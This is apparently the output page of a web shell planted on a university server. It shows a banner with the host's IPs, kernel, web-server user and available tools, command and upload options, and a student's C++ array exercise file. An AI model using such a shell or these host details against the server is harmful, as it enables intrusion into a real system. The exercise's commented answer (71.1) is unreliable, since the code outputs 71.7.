Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 52.14.110.171
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bafreeman/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/bafreeman/array1.cpp
#include <iostream>

using namespace std;

int main()
{
	const int MAX = 50;
	float myArr[MAX];
	
	//Q: make the first element as 50.3
	myArr[0] = 50.3;	
	
	//Q: The rest are 77.7
	for(int i=1; i<=MAX-1; i++)
		myArr[i] = 77.7;
	
	//Q: the 40th - 50th ones are changed to 71.7
	for(int i=39; i<=49; i++)
		myArr[i] = 71.7;

	//Q: Output the 10th, 20th, 30th, 40th
	cout << myArr[9] << "\t" << myArr[19] << "\t" << myArr[29] << "\t" 
				<< myArr[39] << endl;

	//Q: what are outputs
	//  77.7 77.7 77.7 71.1 
	
	//Q: output all
	for(int i=0; i<=MAX-1; i++)
		cout << myArr[i] << endl;

	//Q: Make all 0's
	for(int i=0; i<MAX; i++)
		myArr[i] = 0;
	
	cout << "\n\nWorks.\n\n";
	return 0;
}

Stv3n404 - 2023